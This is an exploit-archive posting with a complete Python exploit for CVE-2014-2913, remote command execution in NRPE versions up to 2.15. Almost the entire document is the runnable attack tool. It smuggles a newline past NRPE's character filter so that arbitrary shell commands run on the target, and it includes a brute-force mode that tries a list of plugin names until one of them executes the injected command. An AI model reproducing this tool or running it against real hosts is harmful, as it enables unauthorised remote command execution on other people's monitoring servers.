Exploit the possiblities

NRPE 2.15 Remote Command Execution

NRPE 2.15 Remote Command Execution
Posted Aug 28, 2014
Authored by Dawid Golunski, Claudio Viviani

NRPE version 2.15 remote command execution exploit written in Python.

tags | exploit, remote, python
advisories | CVE-2014-2913
MD5 | 4b0b57ab99b65f8ef2ab1855d3a61cbd

NRPE 2.15 Remote Command Execution

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#!/usr/bin/python
#
#
# Exploit Title : NRPE <= 2.15 Remote Code Execution Vulnerability
#
# Discovered by : Dawid Golunski
# dawid (at) legalhackers (dot) com
# legalhackers.com
#
# Exploit Author : Claudio Viviani
# http://www.homelab.it
#
# info@homelab.it
# homelabit@protonmail.ch
#
# https://www.facebook.com/homelabit
# https://twitter.com/homelabit
# https://plus.google.com/+HomelabIt1/
# https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww
#
#
#
# C crc32 function ripped from check_nrpe_clone by Alan Brenner <alan.brenner@ithaka.org>
# http://www.abcompcons.com/files/nrpe_client.py
#
# pyOpenSSL Library required (http://pyopenssl.sourceforge.net/)
#
# [root@localhost ~]# pip-python install pyOpenSSL
#
# NRPE <= 2.15 Remote Command Execution Vulnerability
# Release date: 17.04.2014
# Discovered by: Dawid Golunski
# Severity: High
# CVE-2014-2913
#
# http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-2913
# http://www.exploit-db.com/exploits/32925/
# http://www.homelab.it/index.php/2014/05/03/nagios-nrpe-remote-command-injection-test-fix/ (ITA)
#
# Tested on CentOS 5.x, CentOS 6.x, BacBox 3.x, KaliLinux 1.0.6 with Python 2.x
#
# Demo: https://www.youtube.com/watch?v=nmYiBdnWWcE
#

import OpenSSL # non-standard, see http://pyopenssl.sourceforge.net/
import optparse
import os
import signal
import socket
import struct
import sys
import time

banner = """

$$\ $$\ $$$$$$$\ $$$$$$$\ $$$$$$$$\ $$$$$$\ $$\ $$$$$$$\\
$$$\ $$ |$$ __$$\ $$ __$$\ $$ _____| $$ __$$\ $$$$ | $$ ____|
$$$$\ $$ |$$ | $$ |$$ | $$ |$$ | \__/ $$ | \_$$ | $$ |
$$ $$\$$ |$$$$$$$ |$$$$$$$ |$$$$$\ $$$$$$ | $$ | $$$$$$$\\
$$ \$$$$ |$$ __$$< $$ ____/ $$ __| $$ ____/ $$ | \_____$$\\
$$ |\$$$ |$$ | $$ |$$ | $$ | $$ | $$ | $$\ $$ |
$$ | \$$ |$$ | $$ |$$ | $$$$$$$$\ $$$$$$$$\ $$\ $$$$$$\\$$$$$$ |
\__| \__|\__| \__|\__| \________| \________|\__|\______|\______/



$$$$$$$\ $$$$$$\ $$$$$$$$\\
$$ __$$\ $$ __$$\ $$ _____|
$$ | $$ |$$ / \__|$$ |
$$$$$$$ |$$ | $$$$$\\
$$ __$$< $$ | $$ __|
$$ | $$ |$$ | $$\ $$ |
$$ | $$ |\$$$$$$ |$$$$$$$$\\
\__| \__| \______/ \________|
NRPE <= 2.15 R3m0t3 C0mm4nd Ex3cut10n


=============================================
- Release date: 17.04.2014
- Discovered by: Dawid Golunski
- Severity: High
- CVE: 2014-2913
=============================================

Written by:

Claudio Viviani

http://www.homelab.it

info@homelab.it
homelabit@protonmail.ch

https://www.facebook.com/homelabit
https://twitter.com/homelabit
https://plus.google.com/+HomelabIt1/
https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww

"""
# Plugin list for Brute force mode
PluginList = ['check_all',
'check_apt',
'check_bdii',
'check_bonding',
'check_breeze',
'check_by_ssh',
'check_check-updates',
'check_check_sip',
'check_cluster',
'check_dhcp',
'check_dig',
'check_disk',
'check_disk_smb',
'check_dns',
'check_dpm-disk',
'check_dpm-head',
'check_dummy',
'check_file_age',
'check_flexlm',
'check_fping',
'check_game',
'check_hpjd',
'check_http',
'check_icmp',
'check_ide_smart',
'check_ifoperstatus',
'check_ifstatus',
'check_ircd',
'check_lcgdm',
'check_lcgdm-common',
'check_ldap',
'check_lfc',
'check_linux_raid',
'check_load',
'check_log',
'check_mailq',
'check_mrtg',
'check_mrtgtraf',
'check_mysql',
'check_nagios',
'check_nrpe',
'check_nt',
'check_ntp',
'check_nwstat',
'check_openmanage',
'check_oracle',
'check_overcr',
'check_perl',
'check_pgsql',
'check_ping',
'check_procs',
'check_radius',
'check_real',
'check_rhev',
'check_rpc',
'check_sensors',
'check_smtp',
'check_snmp',
'check_ssh',
'check_swap',
'check_tcp',
'check_time',
'check_ups',
'check_users',
'check_wave']



# nrpe 2.15 skip chars "|`&><'\"\\[]{};" and "$()" but not "\x0a"(new line)
evilchar = "\x0a"

QUERY_PACKET = 1
RESPONSE_PACKET = 2

NRPE_PACKET_VERSION_2 = 2

# max amount of data we'll send in one query/response
MAX_PACKETBUFFER_LENGTH = 1024


#def debug(sMessage):
# """Send a string to STDERR"""
# if DEBUG:
# sys.stderr.write("%s\n" % sMessage)

class DataPacket:
"""A Python implementation of the C struct, packet."""
def __init__(self, packet_version, packet_type):
self.nPacketVersion = packet_version # int16
self.nPacketType = packet_type # int16
self.nCRC32 = 0 # u_int32
self.nResultCode = 2324 # int16
self.sData = ''
self.tCRC32 = (
0x00000000, 0x77073096, 0xee0e612c, 0x990951ba, 0x076dc419,
0x706af48f, 0xe963a535, 0x9e6495a3, 0x0edb8832, 0x79dcb8a4,
0xe0d5e91e, 0x97d2d988, 0x09b64c2b, 0x7eb17cbd, 0xe7b82d07,
0x90bf1d91, 0x1db71064, 0x6ab020f2, 0xf3b97148, 0x84be41de,
0x1adad47d, 0x6ddde4eb, 0xf4d4b551, 0x83d385c7, 0x136c9856,
0x646ba8c0, 0xfd62f97a, 0x8a65c9ec, 0x14015c4f, 0x63066cd9,
0xfa0f3d63, 0x8d080df5, 0x3b6e20c8, 0x4c69105e, 0xd56041e4,
0xa2677172, 0x3c03e4d1, 0x4b04d447, 0xd20d85fd, 0xa50ab56b,
0x35b5a8fa, 0x42b2986c, 0xdbbbc9d6, 0xacbcf940, 0x32d86ce3,
0x45df5c75, 0xdcd60dcf, 0xabd13d59, 0x26d930ac, 0x51de003a,
0xc8d75180, 0xbfd06116, 0x21b4f4b5, 0x56b3c423, 0xcfba9599,
0xb8bda50f, 0x2802b89e, 0x5f058808, 0xc60cd9b2, 0xb10be924,
0x2f6f7c87, 0x58684c11, 0xc1611dab, 0xb6662d3d, 0x76dc4190,
0x01db7106, 0x98d220bc, 0xefd5102a, 0x71b18589, 0x06b6b51f,
0x9fbfe4a5, 0xe8b8d433, 0x7807c9a2, 0x0f00f934, 0x9609a88e,
0xe10e9818, 0x7f6a0dbb, 0x086d3d2d, 0x91646c97, 0xe6635c01,
0x6b6b51f4, 0x1c6c6162, 0x856530d8, 0xf262004e, 0x6c0695ed,
0x1b01a57b, 0x8208f4c1, 0xf50fc457, 0x65b0d9c6, 0x12b7e950,
0x8bbeb8ea, 0xfcb9887c, 0x62dd1ddf, 0x15da2d49, 0x8cd37cf3,
0xfbd44c65, 0x4db26158, 0x3ab551ce, 0xa3bc0074, 0xd4bb30e2,
0x4adfa541, 0x3dd895d7, 0xa4d1c46d, 0xd3d6f4fb, 0x4369e96a,
0x346ed9fc, 0xad678846, 0xda60b8d0, 0x44042d73, 0x33031de5,
0xaa0a4c5f, 0xdd0d7cc9, 0x5005713c, 0x270241aa, 0xbe0b1010,
0xc90c2086, 0x5768b525, 0x206f85b3, 0xb966d409, 0xce61e49f,
0x5edef90e, 0x29d9c998, 0xb0d09822, 0xc7d7a8b4, 0x59b33d17,
0x2eb40d81, 0xb7bd5c3b, 0xc0ba6cad, 0xedb88320, 0x9abfb3b6,
0x03b6e20c, 0x74b1d29a, 0xead54739, 0x9dd277af, 0x04db2615,
0x73dc1683, 0xe3630b12, 0x94643b84, 0x0d6d6a3e, 0x7a6a5aa8,
0xe40ecf0b, 0x9309ff9d, 0x0a00ae27, 0x7d079eb1, 0xf00f9344,
0x8708a3d2, 0x1e01f268, 0x6906c2fe, 0xf762575d, 0x806567cb,
0x196c3671, 0x6e6b06e7, 0xfed41b76, 0x89d32be0, 0x10da7a5a,
0x67dd4acc, 0xf9b9df6f, 0x8ebeeff9, 0x17b7be43, 0x60b08ed5,
0xd6d6a3e8, 0xa1d1937e, 0x38d8c2c4, 0x4fdff252, 0xd1bb67f1,
0xa6bc5767, 0x3fb506dd, 0x48b2364b, 0xd80d2bda, 0xaf0a1b4c,
0x36034af6, 0x41047a60, 0xdf60efc3, 0xa867df55, 0x316e8eef,
0x4669be79, 0xcb61b38c, 0xbc66831a, 0x256fd2a0, 0x5268e236,
0xcc0c7795, 0xbb0b4703, 0x220216b9, 0x5505262f, 0xc5ba3bbe,
0xb2bd0b28, 0x2bb45a92, 0x5cb36a04, 0xc2d7ffa7, 0xb5d0cf31,
0x2cd99e8b, 0x5bdeae1d, 0x9b64c2b0, 0xec63f226, 0x756aa39c,
0x026d930a, 0x9c0906a9, 0xeb0e363f, 0x72076785, 0x05005713,
0x95bf4a82, 0xe2b87a14, 0x7bb12bae, 0x0cb61b38, 0x92d28e9b,
0xe5d5be0d, 0x7cdcefb7, 0x0bdbdf21, 0x86d3d2d4, 0xf1d4e242,
0x68ddb3f8, 0x1fda836e, 0x81be16cd, 0xf6b9265b, 0x6fb077e1,
0x18b74777, 0x88085ae6, 0xff0f6a70, 0x66063bca, 0x11010b5c,
0x8f659eff, 0xf862ae69, 0x616bffd3, 0x166ccf45, 0xa00ae278,
0xd70dd2ee, 0x4e048354, 0x3903b3c2, 0xa7672661, 0xd06016f7,
0x4969474d, 0x3e6e77db, 0xaed16a4a, 0xd9d65adc, 0x40df0b66,
0x37d83bf0, 0xa9bcae53, 0xdebb9ec5, 0x47b2cf7f, 0x30b5ffe9,
0xbdbdf21c, 0xcabac28a, 0x53b39330, 0x24b4a3a6, 0xbad03605,
0xcdd70693, 0x54de5729, 0x23d967bf, 0xb3667a2e, 0xc4614ab8,
0x5d681b02, 0x2a6f2b94, 0xb40bbe37, 0xc30c8ea1, 0x5a05df1b,
0x2d02ef8d)

def __str__(self):
# Turn whatever string data we have into a null terminated string
if len(self.sData) < MAX_PACKETBUFFER_LENGTH:
sData = self.sData + "\0" * (MAX_PACKETBUFFER_LENGTH - len(self.sData))
sData += "SR" # not sure about this, from perl
elif len(self.sData) == MAX_PACKETBUFFER_LENGTH + 2:
sData = self.sData
else:
raise ValueError("CHECK_NRPE: invalid input")
# Return a string that equals the C struct, not something printable
return struct.pack("!hhLh" + str(len(sData)) + "s", self.nPacketVersion,
self.nPacketType, self.nCRC32, self.nResultCode, sData)

def __len__(self):
return len(self.__str__())

def dumpself(self):
"""Debugging output for self as C structure.

Not normally used."""
sElf = self.__str__()
sPrev = sElf[0:1]
nCount = 0
ii = -1
for sChar in sElf[1:]:
ii += 1
if sChar == sPrev:
nCount += 1
continue
if nCount:
print "%d\t%d *" % (ii - nCount, nCount + 1),
nCount = 0
else:
print "%d\t" % ii,
print "\t'%s' (%d)" % (sPrev, ord(sPrev))
sPrev = sChar
print "%d\t\t'%s' (%d)" % (ii + 1, sPrev, ord(sPrev))

def calculate_crc32(self):
"""Calculate the CRC32 value for the string version of self."""
nCRC = 0xFFFFFFFF
for ii in self.__str__():
nIndex = (nCRC ^ ord(ii)) & 0xFF
nCRC = ((nCRC >> 8) & 0x00FFFFFF) ^ self.tCRC32[nIndex]
self.nCRC32 = nCRC ^ 0xFFFFFFFF
#debug("DataPacket.calculate_crc32 = %d" % self.nCRC32)

def extract(self, sQuery):
"""Turn a string into the DataPacket attributes."""
#debug("DataPacket.extract(%d)" % len(sQuery))
tVals = struct.unpack("!hhLh" + str(len(sQuery) - 10) + "s", sQuery)
self.nPacketVersion = tVals[0]
self.nPacketType = tVals[1]
self.nCRC32 = tVals[2]
self.nResultCode = tVals[3]
self.sData = tVals[4]

m_nTimeout = 0
def alarm_handler(nSignum, oFrame):
"""Timeout catcher"""
raise KeyboardInterrupt("CHECK_NRPE: Socket timeout after %d seconds." %
m_nTimeout)


class NrpeClient(DataPacket):
"""Everything needed to send a message to an NRPE server and get data back.
"""
def __init__(self, server_name, server_port=5666, use_ssl=True, timeout=10,
packet_version=NRPE_PACKET_VERSION_2):
DataPacket.__init__(self, packet_version, QUERY_PACKET)
self.sServer = server_name
self.nPort = server_port
self.bUseSSL = use_ssl
self.nTimeout = timeout

def run_query(self, sQuery):
"""Connect to the NRPE server, send the query and get back data.
"""
# initialize alarm signal handling and set timeout
signal.signal(signal.SIGALRM, alarm_handler)
signal.alarm(self.nTimeout)

# try to connect to the host at the given port number
oSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# do SSL handshake
if self.bUseSSL:
oContext = OpenSSL.SSL.Context(OpenSSL.SSL.TLSv1_METHOD)
oContext.set_cipher_list('ADH')
oConnection = OpenSSL.SSL.Connection(oContext, oSocket)
else:
oConnection = oSocket

oConnection.connect((self.sServer, self.nPort))

# we're connected and ready to go
self.sData = sQuery
self.nCRC32 = 0
self.calculate_crc32()

# send the packet
oConnection.send(str(self))

# wait for the response packet
sRval = oConnection.recv(len(self))

# close the connection
if self.bUseSSL and not oConnection.shutdown():
try:
sRval += oConnection.recv(len(self))
except OpenSSL.SSL.ZeroReturnError:
pass
oSocket.close()
del oSocket, oConnection
if self.bUseSSL:
del oContext

# reset timeout
signal.alarm(0)

if len(sRval) == 0:
raise IOError("CHECK_NRPE: Received 0 bytes from daemon." +
"Check the remote server logs for error messages.")
elif len(sRval) < len(self):
raise IOError("CHECK_NRPE: Receive underflow - only " +
"%d bytes received (%d expected)." % (len(sRval), len(self)))

# Become the received data
self.extract(sRval)

# check the crc 32 value
nRvalCRC = self.nCRC32
self.nCRC32 = 0
self.calculate_crc32()
if nRvalCRC != self.nCRC32:
raise ValueError("CHECK_NRPE: Response packet had invalid CRC32.")

# check packet version
if self.nPacketVersion != NRPE_PACKET_VERSION_2:
raise ValueError("CHECK_NRPE: Invalid packet version received from server.")

# check packet type
if self.nPacketType != RESPONSE_PACKET:
raise ValueError("CHECK_NRPE: Invalid packet type received from server.")

# Turn the input data into a proper python string (chop at first NULL)
for ii in range(len(self.sData)):
if self.sData[ii] == "\0":
break
self.sData = self.sData[0:ii]


if __name__ == '__main__':
m_oOpts = optparse.OptionParser("%prog -H Host_or_IP -c nrpe_command --cmd=\"command to execute\" [-b, --brute] [-n] [-p PORT] [--timeout sec] [--list]")
m_oOpts.add_option('--host', '-H', action='store', type='string',
help='The address of the host running the NRPE daemon (required)')
m_oOpts.add_option('--ssl', '-n', action='store_false', default=True,
help='Do no use SSL')
m_oOpts.add_option('--port', '-p', action='store', type='int', default=5666,
help='The port on which the daemon is running (default=5666)')
m_oOpts.add_option('--timeout', '-t', action='store', type='int',
default=10,
help='Number of seconds before connection times out (default=10)')
m_oOpts.add_option('--command', '-c', action='store', type='string',
#default='get_data',
help='The name of nrpe command')
m_oOpts.add_option('--brute', '-b', action='store_true', default=False,
help='Find existing nrpe command from list [ -list ]')
m_oOpts.add_option('--list', action='store_true', default=False,
help='Show NRPE Command list')
m_oOpts.add_option('--cmd', action='store', type='string',
help='Command to execute on the remote server')

m_oOptions, m_lArgs = m_oOpts.parse_args()
m_nTimeout = m_oOptions.timeout
m_sQuery = m_oOptions.command
m_gList = m_oOptions.list
m_sBrute = m_oOptions.brute

print (banner)

if m_gList:
print('[+] NRPE Command list\n')
for LinesPluginList in PluginList:
print(LinesPluginList)
sys.exit(0)
elif m_sQuery and m_sBrute:
print m_oOpts.format_help()
print('[!]')
print('[!] ERROR: Select only -c OR -b option\n')
sys.exit(0)
elif not m_oOptions.host or not m_oOptions.cmd:
print m_oOpts.format_help()
sys.exit(0)

print('[+] Target: '+m_oOptions.host)
print('[+] Command: '+m_oOptions.cmd+' \n')

if m_sBrute:
print('[+] Brute force Mode....')
print('[+]')
for LinesPluginList in PluginList:

m_CommandQuery = ""
m_CommandQuery += ' ' + m_oOptions.cmd
if m_lArgs:
m_CommandQuery += ' ' + ' '.join(m_lArgs)

m_sQuery = LinesPluginList+'!'+str(evilchar)+str(m_CommandQuery)+' #'


m_oNRPE = NrpeClient(m_oOptions.host, m_oOptions.port, m_oOptions.ssl,
m_oOptions.timeout)
try:
m_oNRPE.run_query(m_sQuery)
except socket.error:
print('[!] Connection Error!')
sys.exit(1)
except OpenSSL.SSL.ZeroReturnError:
print('[!] Not Vulnerable')
print('[!] Option dont_blame_nrpe disabled or service fixed')
sys.exit(1)

if m_oNRPE.sData[-11:] == "not defined":
print('[-] Checking for NRPE command '+LinesPluginList+':\t\t\tnot found')
else:
print('[+] Checking for NRPE command '+LinesPluginList+':\t\t\tVULNERABLE!')
print('[+]')
print('[+] Max Output CHAR 1024 (According to NRPE <= 2.15 specifications)')
print('[+]')
print('[+] Please ignore NRPE plugin command messages (Usage or Errors)')
print('[+]')
print(m_oNRPE.sData)
sys.exit(0)
elif m_sQuery:
print('[+] Custom command Mode....')
print('[+]')
print('[+] Connecting......')

m_CommandQuery = ""
m_CommandQuery += ' ' + m_oOptions.cmd
if m_lArgs:
m_CommandQuery += ' ' + ' '.join(m_lArgs)

m_sQuery = m_sQuery+'!'+str(evilchar)+str(m_CommandQuery)+' #'

m_oNRPE = NrpeClient(m_oOptions.host, m_oOptions.port, m_oOptions.ssl,
m_oOptions.timeout)
try:
m_oNRPE.run_query(m_sQuery)
except KeyboardInterrupt:
print("[!] CHECK_NRPE: Socket timeout after %d seconds." % m_nTimeout)
sys.exit(1)
except socket.error:
print('[!] Connection Error!')
sys.exit(1)
except OpenSSL.SSL.ZeroReturnError:
print('[!] Not Vulnerable')
print('[!] Option dont_blame_nrpe disabled or service fixed')
sys.exit(1)

if m_oNRPE.sData[-11:] == "not defined":
print('[-] Checking for NRPE command '+m_oOptions.command+': not found...try other NRPE command')
else:
print('[+] Checking for NRPE command '+m_oOptions.command+': VULNERABLE!')
print('[+]')
print('[+] Max Output CHAR 1024 (According to NRPE <= 2.15 specifications)')
print('[+]')
print('[+] Please ignore NRPE plugin command messages (Usage or Errors)')
print('[+]')
print(m_oNRPE.sData)
sys.exit(0)

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